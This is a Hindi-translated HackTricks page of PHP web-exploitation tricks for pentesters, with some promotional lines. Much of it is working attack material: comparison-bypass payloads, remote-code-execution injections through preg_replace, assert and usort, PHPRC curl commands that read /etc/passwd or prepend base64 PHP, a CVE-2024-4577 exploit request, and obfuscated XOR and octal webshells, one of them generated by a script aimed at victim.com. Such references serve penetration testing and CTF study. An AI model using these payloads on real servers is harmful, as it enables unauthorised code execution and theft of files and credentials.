hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-07-19 10:20:41 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
php-ssrf.md Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne 2024-07-17 11:20:52 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R 2024-07-17 12:19:18 +00:00

PHP ट्रिक्स

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

{% embed url="https://websec.nl/" %}

कुकीज कॉमन स्थान:

यह phpMyAdmin कुकीज के लिए भी मान्य है।

कुकीज:

PHPSESSID
phpMyAdmin

स्थान:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP तुलनाएं छलकरना

ढीली तुलनाएं/टाइप जग्गलिंग ( == )

यदि PHP में == का उपयोग किया जाता है, तो ऐसे अनपेक्षित मामले हो सकते हैं जहाँ तुलना उम्मीद के अनुसार व्यवहार नहीं करती। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जो एक ही प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलित डेटा का प्रकार भी समान है तो आपको === का उपयोग करना होगा।

PHP तुलना सारणियाँ: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True एक स्ट्रिंग जो किसी संख्या से शुरू नहीं होती है, वह एक संख्या के बराबर होती है
  • "0xAAAA" == "43690" -> True डेस या हेक्स प्रारूप में संख्याओं द्वारा बनी स्ट्रिंग को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है और यदि संख्याएं समान थीं तो परिणाम सच्चा होगा (स्ट्रिंग में संख्याएं संख्याओं के रूप में व्याख्या की जाती हैं)
  • "0e3264578" == 0 --> True "0e" से शुरू होने वाली स्ट्रिंग और उसके बाद कुछ भी हो, वह 0 के बराबर होगी
  • "0X3264578" == 0X --> True "0" से शुरू होने वाली स्ट्रिंग और किसी भी अक्षर के साथ (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी हो, वह 0 के बराबर होगी
  • "0e12334" == "0" --> True यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और उसके साथ तुलना की जा रही किसी सामग्री को नियंत्रित कर सकते हैं। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला है और किसी भी अक्षर के बिना है, तो आप तुलना को छल सकते हैं। आप इस प्रारूप में पहले से हैश बनाई गई स्ट्रिंग्स यहाँ पा सकते हैं: https://github.com/spaze/hashes
  • "X" == 0 --> True स्ट्रिंग में कोई भी अक्षर int 0 के बराबर है

अधिक जानकारी https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

टाइप जग्गलिंग डिफ़ॉल्ट रूप से in_array() फ़ंक्शन पर भी प्रभाव डालती है (आपको एक सख्त तुलना बनाने के लिए तीसरे तर्क को सच करना होगा):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

यदि इस फ़ंक्शन का उपयोग किसी प्रमाणीकरण जाँच के लिए किया जाता है (जैसे पासवर्ड की जाँच करना) और उपयोगकर्ता तुलना का एक पक्ष नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली सरणी भेज सकता है बजाय एक स्ट्रिंग के (https://example.com/login.php/?username=admin&password[]=) और इस जाँच को उमकर सकता है:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

सख्त प्रकार जग्गलिंग

यद्यपि === का उपयोग हो रहा है, तो त्रुटियाँ हो सकती हैं जो तुलना को प्रकार जग्गलिंग के लिए संवेदनशील बना सकती हैं। उदाहरण के लिए, यदि तुलना डेटा को तुलना से पहले एक विभिन्न प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() का उपयोग उपयोगकर्ता इनपुट की पुष्टि के लिए किया जा सकता है (यह जांचता है कि क्या कोई शब्द/रीजेक्स एक ब्लैकलिस्ट से उपयोगकर्ता इनपुट पर मौजूद है और अगर नहीं है, तो कोड अपनी क्रिया जारी रख सकता है।

नई पंक्ति बाईपास

हालांकि, जब रेजेक्स की शुरुआत को वर्गीकृत किया जाता है preg_match() केवल उपयोगकर्ता इनपुट की पहली पंक्ति की जांच करता है, फिर अगर किसी तरह से आप इनपुट को कई पंक्तियों में भेज सकते हैं, तो आप इस जांच को छल सकते हैं। उदाहरण:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

इस जांच को छलकरने के लिए आप नए-लाइन्स urlencoded (%0A) के साथ मान भेज सकते हैं या अगर आप JSON डेटा भेज सकते हैं, तो इसे कई लाइनों में भेजें:

{
"cmd": "cat /etc/passwd"
}

एक उदाहरण यहाँ पाएं: https://ramadistra.dev/fbctf-2019-rceservice

लंबाई त्रुटि बायपास

(यह बायपास प्रायः PHP 5.2.5 पर प्रयास किया गया था और मुझे लगता है कि यह PHP 7.3.15 पर काम नहीं करता है)
यदि आप preg_match() को एक मान्य बहुत बड़े इनपुट भेज सकते हैं, तो यह इसे प्रोसेस करने में सक्षम नहीं होगा और आपको चेक को बायपास करने की अनुमति होगी। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS बायपास

ट्रिक स्रोत: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 और https://mizu.re/post/pong

संक्षेप में समस्या इसलिए होती है क्योंकि PHP में preg_* फ़ंक्शन PCRE पुस्तकालय पर आधारित हैं। PCRE में कुछ नियमित अभिव्यक्तियाँ बहुत सारे पुनरावृत्तियों का उपयोग करके मेल होती हैं, जिससे बहुत सारे स्टैक स्थान का उपयोग होता है। पुनरावृत्तियों की संख्या पर प्रतिबंध लगाना संभव है, लेकिन PHP में यह सीमा डिफ़ॉल्ट रूप से 100,000 है जो स्टैक में फिट नहीं होता है।

इस पोस्ट में इस समस्या के बारे में अधिक विस्तार से बात की गई है जिसमें एक Stackoverflow धागा भी जुड़ा गया था। हमारा कार्य अब स्पष्ट था:
एक इनपुट भेजें जो रीजेक्स को 100,000+ पुनरावृत्तियों को करने के लिए बनाए, SIGSEGV को उत्पन्न करें, preg_match() फ़ंक्शन को false लौटाएं जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, अंत में पेयलोड में कुछ ऐसा डालें {system(<verybadcommand>)} ताकि SSTI --> RCE --> ध्वज मिले :)

ठीक है, रीजेक्स शब्दों में, हम वास्तव में 100k "पुनरावृत्तियाँ" नहीं कर रहे हैं, बल्कि हम "पीछे हटने के कदम" गिन रहे हैं, जैसा कि PHP दस्तावेज़ीकरण यह बताता है कि यह डिफ़ॉल्ट रूप से pcre.backtrack_limit चर में 1,000,000 (1M) है।
इसे पहुंचने के लिए, 'X'*500_001 1 मिलियन पीछे हटने के कदम देगा (500k आगे और 500k पीछे):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP ऑब्फस्केशन के लिए टाइप जग्लिंग

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

पुनर्निर्देशित करने के बाद निष्पादित करें (EAR)

यदि PHP किसी अन्य पृष्ठ पर पुनर्निर्देशित कर रहा है लेकिन die या exit फ़ंक्शन को Location हेडर के सेट होने के बाद कोई कॉल नहीं किया गया है, तो PHP निष्पादित होता रहता है और डेटा को बॉडी में जोड़ता रहता है:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

पथ ट्रावर्सल और फ़ाइल समावेश शोषण

जांच करें:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

और ट्रिक्स

  • register_globals: PHP < 4.1.1.1 में या अगर गलत रूप से कॉन्फ़िगर किया गया है, तो register_globals सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका अर्थ है कि ग्लोबल वेरिएबल्स में जैसे $_GET जैसे एक मान है तो आप इसे $param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन वेरिएबल्स को ओवरराइट कर सकते हैं जो कोड के भीतर उपयोग किए जाते हैं।
  • एक ही डोमेन के PHPSESSION कुकी एक ही स्थान पर संग्रहित होती हैं, इसलिए यदि एक डोमेन के भीतर विभिन्न पथों में विभिन्न कुकीज़ का उपयोग किया जाता है तो आप एक पथ को कुकी का उपयोग करने के लिए एक पथ बना सकते हैं जो दूसरे पथ की कुकी की मान सेट करता है। इस तरह अगर दोनों पथ एक ही नाम के वेरिएबल्स तक पहुंचते हैं तो आप पथ1 में उस वेरिएबल की मान पथ2 में लागू कर सकते हैं। और फिर पथ2 वेरिएबल्स को मान्य मान लेगा (कुकी को उस नाम का नाम देकर जो पथ2 में उसके लिए संबंधित है)।
  • जब आपके पास मशीन के उपयोगकर्ताओं के उपयोगकर्ता नाम होते हैं। पता करें: /~<USERNAME> कि क्या php निर्देशिकाएँ सक्रिय हैं।
  • php रैपर्स का उपयोग करके LFI और RCE

password_hash/password_verify

यह फ़ंक्शन आम तौर पर PHP में पासवर्ड से हैश उत्पन्न करने और हैश के साथ तुलना करने के लिए उपयोग किया जाता है। समर्थित एल्गोरिदम हैं: PASSWORD_DEFAULT और PASSWORD_BCRYPT (शुरू होता है $2y$)। ध्यान दें कि PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है। और वर्तमान में, PASSWORD_BCRYPT में 72 बाइट की इनपुट की सीमा सीमित है। इसलिए, जब आप इस एल्गोरिदम के साथ 72 बाइट से अधिक कुछ हैश करने का प्रयास करते हैं तो केवल पहले 72B ही उपयोग किया जाएगा:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP हेडर्स बाईपास करना PHP त्रुटियों का दुरुपयोग करके

हेडर्स सेट करने के बाद त्रुटि का कारण

इस ट्विटर थ्रेड से आप देख सकते हैं कि 1000 से अधिक GET पैरामीटर या 1000 से अधिक POST पैरामीटर या 20 फ़ाइलें भेजने पर, PHP हेडर्स को प्रतिक्रिया में सेट नहीं करेगा।

उदाहरण के लिए CSP हेडर्स को सेट करने की अनुमति देना, जैसे:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Headers सेट करने से पहले बॉडी भरना

अगर एक PHP पेज त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान किए गए कुछ इनपुट को ईको कर रहा है, तो उपयोगकर्ता PHP सर्वर को कुछ सामग्री इतनी लंबी प्रिंट करने के लिए कर सकता है ताकि जब यह प्रतिक्रिया में हेडर्स जोड़ने का प्रयास करता है तो सर्वर त्रुटि फेंक देगा।
निम्नलिखित परिदृश्य में हमलावताओं ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने के लिए किया, और जैसा कि आप स्क्रीन में देख सकते हैं कि जब php ने हेडर जानकारी को संशोधित करने का प्रयास किया, तो यह नहीं कर सका (इसलिए उदाहरण के लिए सीएसपी हेडर उपयोगकर्ता को नहीं भेजा गया था):

PHP फ़ंक्शन में SSRF

पृष्ठ की जाँच करें:

{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

कोड निष्पादन

system("ls");
`ls`;
shell_exec("ls");

अधिक उपयोगी PHP फ़ंक्शन के लिए इसे जांचें

preg_replace() के माध्यम से RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

कोड को निष्पादित करने के लिए "बदलें" तर्क में कम से कम एक मैच की आवश्यकता है। यह preg_replace का विकल्प PHP 5.5.0 के रूप में विचारात्मक हो गया है।

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE के माध्यम से Assert()

यह फ़ंक्शन php के भीतर आपको एक स्ट्रिंग में लिखे गए कोड को निष्पादित करने की अनुमति देता है ताकि सच या झूठ लौटाया जा सके (और इस पर निर्भर करके क्रियान्वयन को बदलें)। सामान्यत: उपयोगकर्ता चर एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:
assert("strpos($_GET['page']),'..') === false") --> इस मामले में RCE प्राप्त करने के लिए आप कर सकते हैं:

?page=a','NeVeR') === false and system('ls') and strpos('a

आपको कोड की सिंटेक्स को टूटना होगा, अपने पेयलोड को जोड़ना होगा, और फिर से ठीक करना होगा। आप तर्क संचालन जैसे "and" या "%26%26" या "|" का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करेगा क्योंकि अगर पहला स्थिति सत्य है तो हमारा पेयलोड नहीं चलेगा। उसी तरह ";" काम नहीं करेगा क्योंकि हमारा पेयलोड नहीं चलेगा।

दूसरा विकल्प है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: '.highlight_file('.passwd').'

दूसरा विकल्प (अगर आपके पास आंतरिक कोड है) कुछ चर को संशोधित करने के लिए कुछ चर को संशोधित करना है: $file = "hola"

usort() के माध्यम से RCE

इस फ़ंक्शन का उपयोग एक विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक अर्रे को क्रमबद्ध करने के लिए किया जाता है।
इस फ़ंक्शन का दुरुपयोग करने के लिए:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

RCE के माध्यम से .httaccess

यदि आप .htaccess अपलोड कर सकते हैं, तो आप कई चीजें कॉन्फ़िगर कर सकते हैं और कोड भी चला सकते हैं (फ़ाइलों को कॉन्फ़िगर करना जिनका एक्सटेंशन .htaccess हो सकता है चलाया जा सकता है).

विभिन्न .htaccess शैल्स यहाँ पाए जा सकते हैं यहाँ

Env Variables के माध्यम से RCE

यदि आपको एक ऐसी कमजोरी मिलती है जो आपको PHP में env variables को संशोधित करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बाईपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके RCE प्राप्त कर सकते हैं।

  • LD_PRELOAD: यह env variable आपको अन्य बाइनरी को निष्पादित करते समय विचित्र पुस्तकालयों को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)।
  • PHPRC : PHP को इसकी कॉन्फ़िगरेशन फ़ाइल को कहाँ ढूंढना है, इस पर निर्देशित करता है, जो आम तौर पर php.ini कहलाती है। यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो PHPRC का उपयोग करें। एक auto_prepend_file प्रविष्टि जो दूसरी अपलोड की गई फ़ाइल को निष्पादित करने के लिए PHP प्रीप्रोसेसर को निर्देशित करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड शामिल करती है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है।
  1. अपने शैलकोड से भरी एक PHP फ़ाइल अपलोड करें
  2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक auto_prepend_file निर्देशिका हो जो PHP प्रीप्रोसेसर को निर्देशित करती है कि हमने चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करने के लिए
  3. PHPRC चरण 2 में हमने अपलोड की गई फ़ाइल को सेट करें।
  • इस श्रृंखला को कैसे निष्पादित करें के बारे में अधिक जानकारी प्राप्त करें मूल रिपोर्ट से.
  • PHPRC - एक और विकल्प
  • यदि आप फ़ाइलें अपलोड नहीं कर सकते हैं, तो आप FreeBSD में "फ़ाइल" /dev/fd/0 का उपयोग कर सकते हैं जिसमें stdin होता है, जो stdin को भेजे गए अनुरोध का बॉडी होता है:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • या RCE प्राप्त करने के लिए allow_url_include को सक्षम करें और एक फ़ाइल को बेस64 PHP कोड के साथ प्रीपेंड करें:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • तकनीक इस रिपोर्ट से.

XAMPP CGI RCE - CVE-2024-4577

वेबसर्वर HTTP अनुरोधों को विश्लेषित करता है और उन्हें एक PHP स्क्रिप्ट को पारित करता है जो एक अनुरोध को निष्पादित करता है जैसे http://host/cgi.php?foo=bar जैसा php.exe cgi.php foo=bar, जिससे एक पैरामीटर इंजेक्शन की अनुमति होती है। यह शरीर से PHP कोड लोड करने की अनुमति देता है:

-d allow_url_include=1 -d auto_prepend_file=php://input

इसके अतिरिक्त, PHP के बाद में सामान्यीकरण के कारण 0xAD वर्ण का उपयोग करके "-" पैरामीटर को इंजेक्ट करना संभव है। इस पोस्ट से उत्पीड़न उदाहरण देखें:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP स्थिर विश्लेषण

देखें क्या आप इन फ़ंक्शन के कॉल में कोड डाल सकते हैं (यहाँ से: यहाँ):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

यदि आप एक PHP एप्लिकेशन को डीबग कर रहे हैं तो आप /etc/php5/apache2/php.ini में display_errors = On जोड़कर एरर प्रिंटिंग को ग्लोबली सक्षम कर सकते हैं और अपाची को पुनः आरंभ करें: sudo systemctl restart apache2

PHP कोड को डीबफस्केट करना

आप web www.unphp.net का उपयोग करके PHP कोड को डीबफस्केट कर सकते हैं।

PHP रैपर्स और प्रोटोकॉल

PHP रैपर्स और प्रोटोकॉल आपको सिस्टम में लेखन और पठन सुरक्षा को छलकर उसे कमर्म करने की अनुमति दे सकते हैं। अधिक जानकारी के लिए इस पेज की जाँच करें.

Xdebug अनअथेंटिकेटेड RCE

यदि आप देखते हैं कि Xdebug phpconfig() आउटपुट में सक्षम है तो आपको https://github.com/nqxcode/xdebug-exploit के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।

चरवर्ती चरवर्ती

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET["a"]($_GET["b"])

यदि किसी पेज में आप किसी भी विचारशील क्लास का नया ऑब्जेक्ट बना सकते हैं तो आप RCE प्राप्त कर सकते हैं, निम्नलिखित पेज की जाँच करें और जानें कैसे:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

अक्षरों के बिना PHP को निष्पादित करें

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

ऑक्टल का उपयोग

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR आसान शैल कोड

इस व्रिटअप के अनुसार निम्नलिखित तरीके से एक आसान शैलकोड उत्पन्न किया जा सकता है:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

इसलिए, अगर आप संख्याओं और अक्षरों के बिना अर्बिट्रे PHP को निषेध कर सकते हैं तो आप निम्नलिखित तरह का अनुरोध भेज सकते हैं जिसमें वह पेलोड का दुरुपयोग करके अर्बिट्रे PHP को निषेध कर सकते हैं:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

और विस्तृत व्याख्या के लिए देखें https://ctf-wiki.org/web/php/php/#preg_match

XOR शेलकोड (इन्साइड ईवैल)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

पर्ल जैसा

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: